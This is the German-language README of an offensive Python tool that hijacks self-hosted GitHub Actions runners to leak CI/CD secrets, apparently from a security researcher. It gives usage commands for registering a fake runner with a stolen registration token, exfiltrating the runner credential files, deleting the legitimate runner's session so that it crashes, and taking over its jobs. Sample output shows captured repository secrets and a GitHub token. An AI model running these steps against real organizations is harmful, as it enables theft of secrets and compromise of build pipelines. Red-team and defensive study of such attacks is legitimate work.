
Ein Python-Skript, das einen gefälschten GitHub-Runner erstellt und Pipeline-Jobs kapert, um CI/CD-Secrets zu leaken.
Ein Python-Skript, um einen gefälschten GitHub-Runner zu erstellen und Pipeline-Jobs zu kapern, um CI/CD-Secrets zu leaken.
Weitere Details in folgendem Blogbeitrag: https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization
Wenn du ein Registrierungstoken erhalten oder Remote-Codeausführung auf einem selbst gehosteten GitHub-Runner erlangen kannst, kannst du einen GitHub-Runner erstellen oder übernehmen. Dadurch erhältst du Zugriff auf alle Secrets, die diesem Runner übergeben werden.
Mit einem Registrierungstoken kannst du einen Runner mit der Bezeichnung ubuntu-latest registrieren und erhältst so Zugriff auf Jobs, die ursprünglich für von GitHub bereitgestellte Runner vorgesehen sind. Damit kannst du jeden Workflow kompromittieren, der diese Methode verwendet.
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
[+] Session ID: b66b76a8-e7db-4a14-a2ea-207b1c8cb94d
[+] AES key: BTIk+FT2hRb[...]HN1kkg==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY21GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC
$ pip install -r requirements.txt
Wenn du ein Registrierungstoken erhältst, um einen selbst gehosteten Runner für ein Repo oder eine Organisation zu registrieren, kannst du den gefälschten GitHub-Runner mit diesem Befehl registrieren:
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
Dies kann ein Registrierungstoken für eine Organisation oder ein Repository sein.
Bei beliebiger Codeausführung auf einem selbst gehosteten Runner musst du drei Dateien exfiltrieren, um die Identität des kompromittierten Runners anzunehmen:
root@9f8f6f1fdfa6:/actions-runner# pwd
/actions-runner
root@9f8f6f1fdfa6:/actions-runner# ll
-rw-r--r-- 1 root root 266 Apr 21 12:27 .credentials
-rw------- 1 root root 1667 Apr 21 12:27 .credentials_rsaparams
-rw-r--r-- 1 root root 325 Apr 21 12:27 .runner
[...]
Um Jobs abzurufen, baut der Runner eine Sitzung mit GitHub auf. Jeder Runner kann nur eine Sitzung aufrechterhalten. Um eine neue Sitzung zu erstellen, musst du die aktuelle Sitzung löschen, die vom legitimen Runner aufgebaut wurde. Die Sitzungs-ID findest du hier:
root@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session
[...]
[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c31a'.
/!\ Das Löschen der aktuellen Sitzung lässt den legitimen Runner abstürzen /!\
Anschließend kannst du die aktuelle Sitzung löschen:
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json --delete-session-id aab007e0-eedd-4c1b-96b4-a7c2c128c31a
[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a deleted.
Schließlich kannst du diesen Runner übernehmen:
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json
[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7
[+] AES key: eLN3rhf3D[...]UHewLw==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY23GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC
Beachte, dass dies bei ephemeren selbst gehosteten Runnern nicht funktioniert.
$ gh-hijack-runner.py --help
Hijack GitHub runners
Usage:
gh-hijack-runner.py [options] --registration-token <token> --url <url> [--labels <labels> --ephemeral --rsa-params <rsa> --credentials <credentials> --runner <runner>]
gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> [(--session-id <session> --aes-key <key>)]
gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> --delete-session-id <session>
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
--output <folder> Save data to output file
--runer-name <name> Runner name
--runner-group <name> Runner group name
--last-Message-id <id> Last message ID
Args:
--registration-token <token> Token used to register a runner
--url <url> Full repository or org URL
--rsa-params <rsa> Path to .credentials_rsaparams file
--credentials <credentials> Path to .credentials file
--runner <runner> Path to .runner file
--session-id <session> Already running session id
--aes-key <key> Base64 encoded AES key associated with a session id
--labels <labels> Labels used for registration (ubuntu-latest,customrunner)
--ephemeral Create ephemeral runner
--delete-session-id <session> Delete session. Warning: It will crash the related GitHub runner
Examples:
$ gh-hijack-runner.py --registration-token AOTAA3TOI7SACAVKBDWEQN3F5IEO2 --url https://github.com/org/repo
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json
Author: @hugow